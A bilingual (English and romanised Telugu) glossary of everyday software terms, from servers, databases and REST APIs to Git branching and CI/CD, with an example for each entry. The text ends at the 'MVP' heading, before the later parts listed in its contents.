

COMPLETE REFERENCE

Tech Terms Dictionary

Every word you'll hear in meetings, docs, interviews, and job posts — server, cloud, API, CI/CD, RAG — explained once, properly, with an example each.

"Half of learning software is realising the scary words are simple ideas wearing formal clothes. A server is a computer. The cloud is someone else's computer. An API is a menu. Learn the words and the fear disappears."

8

CATEGORIES

86

TERMS

86

TELUGU NOTES

1

PARA EACH

Table of Contents

- [Part A — Machines & Where Code Runs](#) — server, client, VM, container, cloud, CDN...
- [Part B — Data & Databases](#) — data, DB, SQL, index, transaction, cache...
- [Part C — Web & APIs](#) — frontend, API, REST, JSON, JWT, CORS...
- [Part D — Building Software](#) — compiler, runtime, framework, dependency, testing...
- [Part E — Working Like a Developer](#) — repo, branch, PR, CI/CD, agile, tech debt...
- [Part F — Architecture & Scale](#) — microservices, scaling, latency, serverless...
- [Part G — Security](#) — encryption, hashing, secrets, SQL injection, DDoS...
- [Part H — The AI Era](#) — LLM, prompt, agent, RAG, vector DB...

How to use this: don't read it cover to cover. Skim a part, then come back every time you meet one of these words in a tutorial, a job description, or a meeting. By the third visit the word is yours.

Part A — Machines & Where Code Runs

Server

A server is an ordinary computer whose job is to wait for requests and answer them — it "serves." Nothing about its hardware makes it special; what makes it a server is its *role*: always on, always listening on a port, no screen or keyboard needed. Your laptop becomes a server the moment you run `npm start`. **Example:** when you open Instagram, your phone sends a request to one of Meta's servers, which finds your feed and sends it back — that machine has been running non-stop for months in a data centre.

Telugu: Server ante requests kosam eppudu eduru chuse mamulu computer — adagagane samadhanam istundi. Nee laptop kuda `npm start` cheyagane server aipotundi.

Client

The client is the machine (or program) that *asks*. Clients initiate; servers respond — that asymmetry is the whole client-server model. One server typically handles thousands of clients at once. **Example:** your browser, your phone's Swiggy app, and even one server calling another server's API are all "clients" in that conversation.

Telugu: Client ante **adige** vaipu — browser, phone app. Client modalu pedutundi, server samadhanam istundi; okka server veyyi mandi clients ki okesari serve chestundi.

Localhost

Localhost (`127.0.0.1`) is a special address that always means "this machine" — traffic to it never leaves your computer. Developers use it to run and test servers privately before anyone else can see them. **Example:** `http://localhost:3000` in your browser is your own laptop talking to a React dev server also running on your laptop — unplug the internet and it still works.

Telugu: Localhost (`127.0.0.1`) ante eppudu 'ee machine' — traffic computer bayataki aslu vellad'u. Nee React dev server ni private ga test cheyyadaniki ide.

Virtual Machine (VM)

A VM is a complete pretend-computer running inside a real one: software (a *hypervisor*) slices one physical machine into several isolated "computers," each with its own OS, RAM share, and disk. This is how cloud providers rent one giant server to fifty customers safely. **Example:** an AWS EC2 "instance" you rent for ₹500/month is a VM — one slice of a monster machine in Mumbai, indistinguishable from a real computer from the inside.

Telugu: VM ante nijam computer lopala nadiche **nakili computer** — okka pedda server ni mukkalu ga kosi chala mandiki addeku istaru. AWS EC2 instance ante ide.

Container (and Docker)

A container packages your app *plus everything it needs* (runtime, libraries, config) into one sealed box that runs identically anywhere. Unlike a VM it doesn't carry a whole OS — all containers share the host's kernel, so they start in seconds and weigh megabytes, not gigabytes. Docker is the tool that builds and runs them. **Example:**

"works on my machine" dies with Docker: you ship the container, and the exact same environment runs on your laptop, your teammate's Mac, and the production server. You'll do this in Phase 10.

Telugu: Container ante nee app + daaniki kaavalsinavi anni **okka sealed box** lo — ekkada run chesina okelaage nadustundi. 'Naa machine lo work avutundi' problem ki Docker ye mandu.

Cloud

The cloud is renting computers, storage, and services over the internet instead of buying and maintaining your own. The machines are real — they live in data centres — you just never touch them, and you pay for what you use. The pitch: no upfront hardware cost, and you can scale from 1 machine to 1,000 in minutes. **Example:** Netflix owns almost no servers; it runs on AWS. Your Phase 10 capstone will too — an EC2 machine you rent by the hour.

Telugu: Cloud ante computers konakunda internet lo **addeku** teesukovadam — vaadinantha varake dabba. Machines nijamainave, data centre lo untayi — nuvvu muttavu anthe. Netflix daggara servers levu, antha AWS.

IaaS · PaaS · SaaS

Three levels of "how much does the cloud manage for me." **IaaS** (Infrastructure): they give you a bare VM; you install everything (AWS EC2). **PaaS** (Platform): they run your code; you never see the OS (Render, Heroku, SAP BTP). **SaaS** (Software): they run the whole finished app; you just log in (Gmail, Notion). **Example:** hosting your API on EC2 = IaaS; pushing it to Render = PaaS; using GitHub itself = SaaS. Rule of thumb: the higher the level, the less control and the less work.

Telugu: Cloud entha manage chestundo mudu levels: **IaaS** = khaali machine istaru (EC2), **PaaS** = nee code run chestaru (Render, SAP BTP), **SaaS** = motham app ye istaru (Gmail). Paiki velle koddi control takkuva, pani takkuva.

Data Centre

A data centre is a warehouse filled with thousands of servers, industrial cooling, backup power, and very fast internet — the physical place "the cloud" actually lives. Providers build them in *regions* around the world so data can live close to users. **Example:** when AWS says your server is in **ap-south-1**, that means a specific building in Mumbai; choosing it over a US region cuts your Indian users' latency from ~250ms to ~20ms.

Telugu: Data centre ante velakoladi servers unna godown — industrial cooling, backup power, super-fast internet tho. 'Cloud' nijam ga nivasinche building ide. **ap-south-1** ante Mumbai lo okka building.

CDN (Content Delivery Network)

A CDN keeps copies of your static files (images, CSS, JS, video) on hundreds of servers worldwide, so every user downloads from a machine near them instead of your one origin server. It exists because the speed of light is a hard limit — you can't make Mumbai→Virginia fast, but you can move the file to Mumbai. **Example:** Cloudflare and Akamai are CDNs; when you deploy a React app to Vercel or Netlify, your files are automatically pushed to a CDN — that's why they load fast everywhere.

Telugu: CDN ante nee static files (images, JS) copies ni prapancham antha unna servers lo pettadam — prathi user ki **daggara** nunchi download avutundi. Vercel/Netlify deploy fast ga load avvadaniki kaaranam ide.

Load Balancer

A load balancer is a traffic officer standing in front of several identical servers, distributing incoming requests among them so no single machine drowns. It also quietly stops sending traffic to a server that crashes — users never notice. **Example:** big sites run the same app on 50 servers behind one load balancer; during a sale, they add 50 more and the balancer spreads the load — that's *horizontal scaling* (Part F) in action.

Telugu: Load balancer ante **traffic police** — okate app nadipe chala servers madhya requests panchutundi; okati crash aithe daaniki traffic aapesi users ki teliyakunda chustundi.

Reverse Proxy

A reverse proxy is a front-door server that receives all public traffic and forwards it to the right internal app — terminating HTTPS, serving cached files, and hiding your real servers from the internet. (A *forward* proxy hides clients; a *reverse* proxy hides servers.) **Example:** the classic deployment you'll build: Nginx listens on port 443, handles TLS, serves images directly, and quietly passes `/api/*` requests to your Node app on port 3000.

Telugu: Reverse proxy ante mundu nilabade **gate-keeper server** — HTTPS handle chesi, lopala unna nee app (port 3000) ki traffic forward chestundi. Nginx classic example.

Part B — Data & Databases

Data

Data is any recorded fact: a name, a click, a temperature reading, a photo. Raw data becomes *information* when organised to answer a question. Software is, at its core, machinery for capturing, storing, transforming, and displaying data. **Example:** "27" is data; "27°C in Hyderabad right now" is information; a weather app is software wrapped around that pipeline.

Telugu: Data ante record chesina prathi vishayam — peru, click, photo. Prashna ki samadhanam ga organise chesthe adi **information**. Software antha data ni pattukuni, dachi, maarchi, chupinche yantram.

Database (DB)

A database is an organised, durable collection of data designed for fast storing and searching — the difference between a shoebox of receipts and a filing cabinet with labelled folders. Apps keep data in a database (not files, not memory) because databases survive restarts, handle many users at once, and can find one record among millions in milliseconds. **Example:** every Instagram like, every bank balance, every SAP purchase order lives in a database row.

Telugu: Database ante data ni organised ga, **permanent** ga dachi vega ga vetike system — shoebox kaadu, labelled filing cabinet. Prathi like, prathi bank balance okka row.

DBMS (Database Management System)

The DBMS is the actual software that runs the database — it stores the files, understands queries, enforces rules, and manages who can read what. People say "database" loosely for both the data and this software. **Example:** MySQL, PostgreSQL, MongoDB, Oracle, and SAP HANA are DBMSs; "we use MySQL" means "MySQL manages our data."

Telugu: DBMS ante database ni nadipe **software** — MySQL, MongoDB, SAP HANA. 'Memu MySQL vaadutham' ante 'maa data ni MySQL manage chestundi' ani artham.

SQL (Structured Query Language)

SQL is the standard language for talking to relational databases — you *declare* what you want, and the DBMS figures out how to get it. Four verbs do most of the work: **SELECT** (read), **INSERT** (create), **UPDATE** (change), **DELETE** (remove). **Example:** `SELECT name FROM users WHERE city = 'Hyderabad'` — readable almost as English. You'll live in SQL during Phase 9, and ABAP's Open SQL is a dialect of the same idea.

Telugu: SQL ante relational databases tho matlade standard bhasha — **SELECT** (chadavadam), **INSERT**, **UPDATE**, **DELETE**. Phase 9 lo, ABAP Open SQL lo idi nee roju bhasha.

NoSQL

NoSQL databases drop the rigid table structure for other shapes: document stores (JSON-like blobs, e.g. MongoDB), key-value stores (Redis), and others. The trade: more flexibility and easier horizontal scaling, but weaker guarantees and no standard query language. **Example:** a product catalogue where every product has

different fields fits MongoDB naturally; a bank ledger, where structure and guarantees matter, belongs in SQL. Rule of thumb: relationships and correctness → SQL; flexible or huge-scale data → consider NoSQL.

Telugu: NoSQL ante tables lekunda vere shapes lo dache databases — MongoDB (JSON documents), Redis (key-value). Flexibility ekkuva, guarantees takkuva. Bank ledger ki SQL; roopam maarutune unde catalogue ki NoSQL.

Schema

The schema is the blueprint of a database: which tables exist, which columns each has, their types, and how tables relate. Designing it well is half of backend work — a bad schema haunts a project for years. **Example:** a `users` table with `id (number)`, `name (text)`, `email (text, unique)` is a schema decision; so is the rule "every order must belong to an existing user."

Telugu: Schema ante database **blueprint** — e tables, e columns, e types, ela kalusukuntayi. Backend pani lo sagam idi design cheyyadame; tappu schema samvatsaraalu tarumutundi.

Primary Key & Foreign Key

A **primary key** is the column that uniquely identifies each row — no two rows share it (usually an auto-numbered `id`). A **foreign key** is a column that stores *another table's* primary key, creating a relationship. This is the "relational" in relational databases. **Example:** `orders.user_id = 42` is a foreign key pointing at `users.id = 42` — how the database knows *which* user placed the order, without copying the user's details into every order.

Telugu: **Primary key** = prathi row ki unique id. **Foreign key** = inkoka table primary key ni pattukune column — `orders.user_id` → `users.id`. 'Relational' ante ide.

Index

An index is a pre-built lookup structure (usually a B-tree) on a column, so the database can jump to matching rows instead of scanning the whole table — exactly the $O(n) \rightarrow O(\log n)$ trade from Phase 3, bought with extra storage and slightly slower writes. **Example:** `SELECT * FROM users WHERE email = ?` on 10 million rows: without an index, seconds; with an index on `email`, milliseconds. "Add an index" is the single most common database performance fix.

Telugu: Index ante column meeda mundu ga kattina lookup (B-tree) — table motham scan cheyyakunda nerugga jump. $O(n) \rightarrow O(\log n)$; '**index add cheyyi**' ante slow query ki #1 fix.

Query

A query is any single request you send to a database — a question ("which orders shipped today?") or a command ("mark this one delivered"). Backend performance talk is mostly query talk: how many queries per page, how slow is each. **Example:** the classic beginner bug is the *N+1 problem* — fetching 100 users, then running one extra query per user for their orders: 101 queries where 2 would do.

Telugu: Query ante database ki okka request — prashna leda command. Beginner bug: **N+1 problem** — 2 queries saripoye chota 101 kottadam.

Transaction & ACID

A transaction groups several database operations into one all-or-nothing unit: either every step succeeds, or none happen. ACID is the guarantee list — Atomic (all or nothing), Consistent (rules never break), Isolated (parallel transactions don't corrupt each other), Durable (once confirmed, it survives a crash). **Example:** transferring ₹500 = subtract from account A + add to account B. If the server dies between the two steps, the transaction rolls back — money is never created or destroyed. This is why banks run on SQL databases.

Telugu: Transaction ante konni operations **okate unit** ga — anni jarugutayi leda emi jaragavu. ₹500 transfer madhyalo server padipoina dabbu maayam avvadu — adi ACID guarantee. Banks SQL meeda nadavadaniki kaaranam.

ORM (Object-Relational Mapper)

An ORM is a library that lets you work with database rows as objects in your programming language, writing `User.find(42)` instead of raw SQL — faster to write, safer against injection, and portable across databases, at the cost of hiding what SQL actually runs. **Example:** Prisma and Sequelize in Node, Hibernate in Java. Wisdom: use an ORM daily, but learn real SQL first (Phase 9) so you can read what it generates when a query is slow.

Telugu: ORM ante SQL raayakunda objects laga database vaadaniche library — `User.find(42)` . Prisma, Sequelize. Kaani mundu nijam SQL nerchuko — slow query appudu ORM emi generate chestundo chadavagalagali.

Cache

A cache is a small, fast copy of data kept close to where it's needed, so you skip an expensive trip — the memory-hierarchy idea from Phase 3 applied everywhere: browser caches, CDN caches, server-side Redis caches, database caches. The hard part is *invalidation*: knowing when the copy is stale. **Example:** a news site doesn't hit the database for every reader; it caches the rendered homepage in Redis for 60 seconds — one query serves a million readers a minute.

Telugu: Cache ante kharchu ayye trip tappinchadaniki **daggarlo unchukune fast copy** — browser, CDN, Redis anni ide. Kastam antha: eppudu stale avutundo teliyadame (invalidation).

Data Warehouse & Data Lake

Operational databases serve the app; a **data warehouse** is a separate database where a company copies historical data to run heavy analytics without slowing production (Snowflake, BigQuery, SAP BW). A **data lake** is cruder: a vast dump of raw files in every format, kept cheap for future analysis. **Example:** Swiggy's app DB handles live orders; the warehouse answers "which cuisine grew fastest in Tier-2 cities last year?"; the lake holds raw click logs no one has analysed yet.

Telugu: App ni nadipedi operational DB; **warehouse** ante analytics kosam veru ga pettina history copy (BigQuery, SAP BW); **lake** ante raw files pedda dump — mundu mundhu analysis kosam cheap ga dachipettadam.

Part C — Web & APIs

Frontend

The frontend is everything that runs on the *user's* device — the part you can see and click: layout, buttons, forms, animations. It's built with HTML (structure), CSS (style), and JavaScript (behaviour), plus frameworks like React. The user can inspect all of it, so it can never be trusted with secrets or final validation. **Example:** everything you see at [instagram.com](https://www.instagram.com) — the grid, the like animation, the infinite scroll — is frontend code executing in your browser.

Telugu: Frontend ante **user device lo** nadichedi — kanipinchedi antha: layout, buttons, animations. HTML + CSS + JS + React. User antha chudagaladu — secrets ikkada pettaku.

Backend

The backend is everything that runs on the *server*: business logic, database access, authentication, payments. Users never see this code — they only see its effects through API responses. All real security lives here. **Example:** when you tap "Pay," the frontend just shows a spinner; the backend verifies your balance, talks to the payment gateway, writes the transaction, and returns success — none of which the phone could be trusted to do.

Telugu: Backend ante **server lo** nadichedi — logic, database, auth, payments. User ki code kanipiyadu, effects matrame. Nijamaina security antha ikkade.

Full-Stack

A full-stack developer works on both frontend and backend — they can build a complete product alone: UI, API, database, deployment. That breadth is exactly what your 50-day plan builds (React → Node → MySQL → AWS). **Example:** a full-stack task: "add a wishlist feature" — you design the DB table, write the API endpoints, and build the React page, all three layers yourself.

Telugu: Full-stack ante rendu vaipula pani chesevaadu — UI, API, DB, deploy antha okkade kattagaladu. Nee 50-day plan kattedi ide: React → Node → MySQL → AWS.

API (Application Programming Interface)

An API is a formal contract for how one program asks another to do something — a menu of operations with defined inputs and outputs, so you can use a service without knowing its internals. The term covers everything from a library's functions to a web service's URLs. **Example:** the restaurant analogy: you don't enter the kitchen (the database); you order from the menu (the API) and the waiter brings the dish (the response). Google Maps' API lets any app ask "give me directions" without knowing how routing works.

Telugu: API ante okka program inkodaanni adige **formal menu** — lopala ela pani chestundo teliyakkarleadu; menu lo order isthe dish vastundi. Google Maps API: 'directions ivvu' ani adagadam.

REST API

REST is the most common style for web APIs: treat everything as a *resource* at a URL, and use HTTP's own verbs on it — **GET** `/users/42` (read), **POST** `/users` (create), **PUT/PATCH** (update), **DELETE** (remove) — with JSON in and out, statelessly. Its beauty is predictability: seeing one REST API, you've seen the shape of thousands.

Example: `GET https://api.github.com/users/nikhilvanama` returns your GitHub profile as JSON. You'll design one properly in Phase 8.

Telugu: REST ante web API la common style — prathi vishayam oka URL (**resource**), HTTP verbs tho pani: GET chadavadam, POST create, DELETE remove; JSON in/out. Okati chusthe anni chusinatte.

Endpoint

An endpoint is one specific URL + method combination an API exposes — one item on the menu. APIs are described as lists of endpoints. **Example:** a to-do API might expose four endpoints: `GET /todos`, `POST /todos`, `PATCH /todos/:id`, `DELETE /todos/:id`. In Express you write one handler function per endpoint.

Telugu: Endpoint ante API menu lo **okka item** — okka URL + method. `GET /todos`, `POST /todos` — Express lo prathi endpoint ki okka handler function.

JSON (JavaScript Object Notation)

JSON is the universal text format for exchanging structured data: keys, strings, numbers, booleans, arrays, and nesting — readable by humans and every language. It won because it's exactly JavaScript's object syntax, and the web speaks JavaScript. **Example:** `{"name": "Nikhil", "skills": ["React", "Node"], "open_to_work": true}`. Nearly every API response you'll ever read is JSON; `JSON.parse()` and `JSON.stringify()` convert it to and from live objects.

Telugu: JSON ante data ki **universal text format** — keys, values, arrays, nesting. Prathi API response idi. `JSON.parse` / `JSON.stringify` tho object ↔ text.

Webhook

A webhook flips the API direction: instead of you repeatedly asking "anything new?" (*polling*), the other service calls **your** URL the moment something happens — "don't call us, we'll call you." **Example:** when a customer pays, Razorpay sends a POST to your `/webhook/payment` endpoint within seconds; without webhooks you'd query their API every few seconds forever. GitHub webhooks are what trigger CI pipelines on every push.

Telugu: Webhook ante API ni reverse cheyyadam — nuvvu malli malli adagakunda, emaina jarigithe vaallu **nee URL ni** pilustaru. Payment avvagane Razorpay nee `/webhook` ki POST chestundi.

WebSocket

A WebSocket is a persistent, two-way connection between browser and server — unlike HTTP's ask-then-answer, either side can send a message at any moment. It's the technology behind everything "live." **Example:** WhatsApp Web, live cricket scores, multiplayer games, and stock tickers all hold a WebSocket open; that's how a message appears without you refreshing anything.

Telugu: WebSocket ante browser-server madhya **eppudu terichi unna two-way line** — evaraina eppudaina message pampochu. WhatsApp Web, live scores, games anni idi.

Authentication vs Authorization

Authentication (AuthN) asks "who are you?" — verifying identity via password, OTP, or Google login.

Authorization (AuthZ) asks "what are you allowed to do?" — checking permissions *after* identity is known.

Interviewers love the pair, and HTTP encodes it: 401 means "log in first," 403 means "logged in, still not allowed."

Example: logging into your company portal = authentication; the portal hiding the "Salaries" admin page from you = authorization.

Telugu: **Authentication** = 'nuvvevaru?' (login). **Authorization** = 'nee ki emi anumathi undi?'. 401 = login cheyyi; 403 = login ayyav kaani anumathi ledu.

JWT (JSON Web Token)

A JWT is a signed identity card the server issues at login: a compact string encoding who you are and until when, cryptographically signed so it can't be forged. The client sends it with every request, letting a *stateless* server verify identity without a session lookup — which is why JWTs dominate modern APIs. **Example:** after login, your React app stores a JWT and attaches it as `Authorization: Bearer eyJhbG...` to every API call; the server checks the signature and trusts the contents. You'll implement this in Phase 8's auth capstone.

Telugu: JWT ante login appudu server icchina **sign chesina ID card** (string) — prathi request tho pampistav, server signature check chesi nammutundi. Stateless auth ki standard; Phase 8 lo nuve implement chestav.

Cookie & Session

A cookie is a small piece of data the server asks the browser to store and automatically send back with every future request — the classic fix for HTTP's statelessness. A session is the traditional pattern built on it: the server keeps your logged-in state in its memory/DB and gives the browser just a session-ID cookie. **Example:** "remember me" is a long-lived cookie; getting logged out everywhere when a site restarts its servers is sessions being wiped. JWTs (above) are the stateless alternative.

Telugu: Cookie ante browser dachi prathi request tho **automatic ga pampe** chinna data — stateless HTTP ki memory ivvaniki. Session ante server lo nee login state; browser daggara session-id cookie matrame.

CORS (Cross-Origin Resource Sharing)

CORS is a browser security rule: JavaScript from site A may not read responses from site B unless B's server explicitly allows it via headers. It exists so a malicious site can't silently call your bank's API using your logged-in cookies. Every web developer meets it as a confusing red console error. **Example:** your React app on `localhost:3000` calls your API on `localhost:5000` — different port = different origin = blocked, until your Express server adds `Access-Control-Allow-Origin`. Now you know it's a feature, not a bug.

Telugu: CORS ante browser rule — site A lo JS, site B API ni B **anumathi ivvakunda** chadavaledu. `localhost:3000` → `localhost:5000` red error idi — bug kaadu, security feature.

Rate Limiting

Rate limiting caps how many requests a client may make in a window ("100 requests/minute"), protecting servers from abuse, runaway scripts, and brute-force attacks; exceeding it earns HTTP `429 Too Many Requests`.

Example: an attacker trying 10,000 passwords hits the limit at 5 attempts; OpenAI's API rate-limits by plan tier — the errors your code must gracefully retry from are usually 429s.

Telugu: Rate limiting ante okka client entha adagagalado **cap** — 'nimishaniki 100 requests'; daatithe **429** . Brute-force, abuse nunchi server ni kaapadutundi.

Part D — Building Software

Source Code

Source code is the human-readable text you write — the recipe, before cooking. It's the asset a software company actually owns; everything else (the running app) is generated from it. **Example:** `app.js`, `index.html`, and every file you push to GitHub are source code; the minified bundle a browser downloads is its processed output.

Telugu: Source code ante nuvvu raase human-readable text — **recipe**. Company nijam ga own chesedi ide; running app antha deeninunchi generate ayyedi.

Compiler vs Interpreter

A **compiler** translates your whole program into machine code *before* it runs (C, Java, Go) — errors surface at compile time, and the result runs fast. An **interpreter** reads and executes your code line by line *as* it runs (classic Python) — instant feedback, errors surface at runtime. Modern engines blur the line. **Example:** JavaScript's V8 does *JIT* (just-in-time) compilation — it starts interpreting immediately, then compiles the hot paths to machine code mid-run. ABAP is compiled to bytecode on the SAP application server.

Telugu: **Compiler** mundu ga motham machine code ki maarchestundi (C, Java); **interpreter** line by line run chestundi. JS di JIT — modata interpret chesi, ekkuva vaade code ni madhyalo compile chestundi.

Runtime

The runtime is the environment your code executes inside — the engine plus the built-in services it provides (memory management, I/O, timers). The same language can have different runtimes with different powers.

Example: JavaScript in the *browser* runtime can touch the DOM but not your files; the same JavaScript in the *Node.js* runtime can touch files and networks but has no DOM. "Node is a JavaScript runtime" is exactly this sentence.

Telugu: Runtime ante nee code nadiche environment + daani **powers**. Same JS: browser runtime lo DOM undi files levu; Node runtime lo files unnayi DOM ledu.

Library vs Framework

Both are reusable code someone else wrote. The difference is control: with a **library**, *you* call *it* (your code stays in charge); with a **framework**, *it* calls *you* — you fill in the blanks inside its structure ("inversion of control").

Example: Lodash is a library — you call `_.uniq(arr)` when you feel like it. React and Express are frameworks — React decides *when* your component re-renders; you just define what it looks like.

Telugu: Rendu evaro raasina code — teda **control**: library ni NUVVU pilustav (Lodash); framework NINNU pilustundi (React eppudu re-render avalo adi decide chestundi).

SDK (Software Development Kit)

An SDK is a bundle a platform ships so you can build for it: libraries, tools, docs, and sample code — an API plus everything needed to use it comfortably. **Example:** the AWS SDK for JavaScript lets your Node app call S3 with

`s3.upload(...)` instead of hand-writing signed HTTP requests; the Android SDK is how anyone builds an Android app.

Telugu: SDK ante oka platform kosam kattadaniki icche **full kit** — libraries + tools + docs. AWS SDK tho `s3.upload(...)` — signed requests chetitho raayakkarledu.

Package Manager

A package manager downloads, installs, and updates the third-party code your project depends on, along with each piece's own dependencies — solving by automation what used to be an afternoon of copying files.

Example: `npm install express` fetches Express and the ~60 packages *it* needs into `node_modules`, recording versions in `package.json`. npm (Node), pip (Python), and Maven (Java) are the big ones.

Telugu: Package manager ante third-party code ni download/install/update chese tool — `npm install express` ante Express + daani ~60 dependencies anni vachestayi, versions `package.json` lo record.

Dependency

A dependency is any external package your project needs to run. Modern apps are mostly other people's code with your logic on top — powerful, but each dependency is also a risk you inherit (bugs, abandonment, security holes). **Example:** your React app depends on `react`; that "left-pad incident" of 2016 — where one 11-line package being deleted broke half the internet's builds — is the cautionary tale of dependency chains.

Telugu: Dependency ante nee project ki kaavalsina bayata package. Modern apps ekkuvaga **vere valla code + nee logic**. Prathi dependency oka risk kuda — left-pad katha gurthupettuko.

Environments (dev · staging · production)

Teams run the same app in several copies: **development** (your laptop, fake data, break freely), **staging** (a private replica for final testing), and **production** ("prod" — the live system real users touch). The golden rules: never test in prod, and keep staging as prod-like as possible. **Example:** the feature works on your laptop (dev), passes QA on staging, and only then deploys to production — the phrase "it broke in prod" is why the other two exist.

Telugu: Okate app mudu copies: **dev** (nee laptop, break cheyyachu), **staging** (final-test replica), **production** (nijam users). Golden rule: prod lo test cheyyaku.

Environment Variable

An environment variable is a named value the OS hands your program at startup — the standard way to give the *same code* different settings (and secrets) per environment, instead of hard-coding them. **Example:**

`DATABASE_URL` points at a local MySQL in dev and the real RDS instance in prod; your code just reads `process.env.DATABASE_URL`. Secrets live here (via `.env` files) precisely so they never enter Git.

Telugu: Environment variable ante OS run appudu icche setting — **same code, veru environments lo veru values**. `DATABASE_URL` dev lo local, prod lo real. Secrets ikkade untayi — Git lo kaadu.

Build & Bundler

The build is the transformation from source code to the optimised artifact that actually ships: transpiling modern JS for old browsers, bundling hundreds of files into a few, minifying, and stamping versions. A bundler (Vite, Webpack) is the tool that does it. **Example:** `npm run build` turns your 200-file React project into three compact files in `dist/`; that folder — not your source — is what the CDN serves.

Telugu: Build ante source ni ship chese optimized files ga maarchadam — transpile, bundle, minify. `npm run build` → 200 files nunchi `dist/` lo 3 files; CDN serve chesedi ave.

Debugging

Debugging is the disciplined hunt for why code misbehaves: reproduce the bug, isolate where behaviour diverges from expectation, fix the cause (not the symptom), and re-test. The professional tools are breakpoints and a debugger — pausing a live program to inspect it — not just `console.log`. **Example:** in Chrome DevTools → Sources, you set a breakpoint inside your click handler, watch the variables at that instant, and step line by line to see exactly where the state goes wrong.

Telugu: Debugging ante bug ni krama paddhathi lo vetakadam: reproduce → isolate → **cause** fix (symptom kaadu) → re-test. Professional tool = debugger breakpoints, `console.log` matrame kaadu.

Logging

Logging is your program writing a diary of what it did — requests handled, decisions made, errors hit — so that when something breaks at 3 a.m., you can reconstruct events without being there. Logs have levels (`debug` , `info` , `warn` , `error`) and, in production, are collected into searchable systems. **Example:** a payment fails; you search the logs for that order ID and find `ERROR: gateway timeout after 30s` with a timestamp — the bug report writes itself.

Telugu: Logging ante program tana **diary** raasukovadam — emi chesindo, e error vachindo, eppudo. Ratri 3 ki edaina break aithe logs chusi em jarigindo reconstruct chestav.

Testing (unit · integration · E2E)

Automated tests are code that verifies your code, so changes can be made without fear. **Unit tests** check one function in isolation (fast, thousands of them); **integration tests** check pieces working together (API + database); **end-to-end (E2E) tests** drive the real app like a user (slow, few). The classic shape — many unit, some integration, few E2E — is the *testing pyramid*. **Example:** unit: `expect(toBinary(42)).toBe("101010")` ; E2E: a script that opens the site, logs in, adds to cart, and asserts the checkout total.

Telugu: Tests ante nee code ni verify chese code — **bhayam lekunda maarchadaniki**. Unit (okka function), integration (kalisi), E2E (user laga full app). Pyramid: unit ekkuva, E2E takkuva.

Part E — Working Like a Developer

Version Control

Version control records every change to a codebase over time — who changed what, when, and why — and lets many people work on the same code without overwriting each other. Git is the universal choice. It's the save-system + time-machine + collaboration layer of software work. **Example:** a bug appeared last week? `git log` shows the exact change that introduced it, and `git revert` undoes just that change without losing everything since.

Telugu: Version control ante prathi change record — evaru, eppudu, enduku — plus andaru okate code meeda okesari pani cheyyagalagadam. Git universal. **Save-system + time-machine.**

Repository (Repo)

A repository is one project's folder as tracked by Git — all its files plus the complete history of every change. "The repo" is shorthand for "the project and its history." Hosted copies live on GitHub/GitLab. **Example:** `github.com/facebook/react` is a repo: React's every file, and every one of its ~20,000 commits since 2013, browsable.

Telugu: Repo ante okka project folder Git tho track ayyi — files + **prathi change history**. GitHub lo unna copy andariki share.

Branch

A branch is a parallel line of development inside a repo — you split off from `main`, build a feature in isolation, and merge back when it works. This is how ten developers change one codebase simultaneously without stepping on each other. **Example:** `git checkout -b feature/wishlist` creates your private timeline; `main` stays stable and shippable while you experiment. Merged branches are deleted — they're workspaces, not archives.

Telugu: Branch ante repo lopala **parallel timeline** — `main` nunchi vidipoyi feature katti, work aithe malli merge. Padi mandi okate code okesari maarchagalagadaniki daari ide.

Merge & Merge Conflict

Merging combines one branch's changes into another; Git does it automatically — unless two branches changed the *same lines*, which produces a **merge conflict** Git refuses to guess about. You resolve it by editing the conflicted files, choosing what the combined truth should be. **Example:** you and a teammate both edited line 40 of `app.js`; Git marks the spot with `<<<<<< / >>>>>>`, shows both versions, and waits for a human decision. Scary the first time, routine by the tenth.

Telugu: Merge ante branch changes kalapadam — iddaru **okate line** maarchithe conflict: Git guess cheyyadu, `<<<<<<` marks petti nee decision ki wait chestundi. Modatisari bhayam, padosari routine.

Pull Request (PR)

A pull request is a proposal: "here's my branch — please review and merge it into main." It bundles the diff, a description, discussion threads, and automated checks into one reviewable page. PRs are where teams actually collaborate, and where your CI runs. **Example:** you push `feature/wishlist`, open a PR on GitHub, a teammate comments "rename this function," you push a fix, they approve, it merges. Open-source contribution is literally sending a PR to a stranger's repo.

Telugu: PR ante proposal: 'naa branch review chesi `main` lo merge cheyyandi' — diff + discussion + automated checks okka page lo. Open-source contribution ante evari repo ki aina PR pampadame.

Code Review

Code review is a teammate reading your PR before it merges — catching bugs, spotting simpler approaches, and spreading knowledge of the codebase. It's not judgment; it's the practice that keeps a shared codebase coherent and juniors growing. **Example:** a review comment like "this loop is $O(n^2)$ — a Set makes it $O(n)$ " (Phase 3 paying off) improves the code *and* teaches. Reviewing others' PRs is how you learn a new codebase fastest.

Telugu: Code review ante merge ki mundu teammate nee code chadavadam — bugs pattadam, better daari cheppadam, knowledge panchukovadam. Judgment kaadu, **practice**.

CI/CD

Continuous Integration: every push automatically triggers a pipeline that builds the code and runs all tests — broken code is caught in minutes, not at release time. **Continuous Delivery/Deployment:** if the pipeline passes, the change ships to production automatically. Together they turn releases from quarterly events into non-events that happen daily. **Example:** GitHub Actions runs your test suite on every PR (red X blocks merging); on merge to `main`, it deploys to your server — no human touches a production box.

Telugu: **CI:** prathi push ki automatic build + tests — break nimishallo telustundi. **CD:** pass aithe automatic ga production ki. Releases pedda events nunchi roju jarige non-events avutayi.

DevOps

DevOps is the culture and toolset that merges *writing* software (Dev) with *running* it (Ops): the same team builds the feature, automates its deployment, monitors it in production, and gets paged when it breaks. Infrastructure becomes code too. **Example:** a DevOps-flavoured job posting lists Docker, CI pipelines, AWS, and monitoring — exactly the Phase 10 toolkit. "You build it, you run it" is the slogan.

Telugu: DevOps ante raase team ye **run kuda** chestundi — feature katti, deploy automate chesi, monitor chesi, break aithe adhe team bagucheyyadam. 'You build it, you run it'. Phase 10 toolkit ide.

Agile · Sprint · Stand-up

Agile is the working style of most software teams: ship small increments, gather feedback, adjust — instead of planning a year upfront (that older style is called *waterfall*). A **sprint** is one cycle (usually 2 weeks) with a committed goal; a **stand-up** is the daily 10-minute sync: what I did, what I'll do, what's blocking me. **Example:** in interviews, "tell me about your workflow" wants these words used naturally: "we worked in two-week sprints, daily stand-ups, tasks tracked in Jira."

Telugu: Agile ante chinna increments ga ship chesi feedback tho adjust avvadam. **Sprint** = 2 varala cycle; **stand-up** = daily 10-min sync: ninna emi, ivvala emi, block emi.

MVP (Minimum Viable Product)

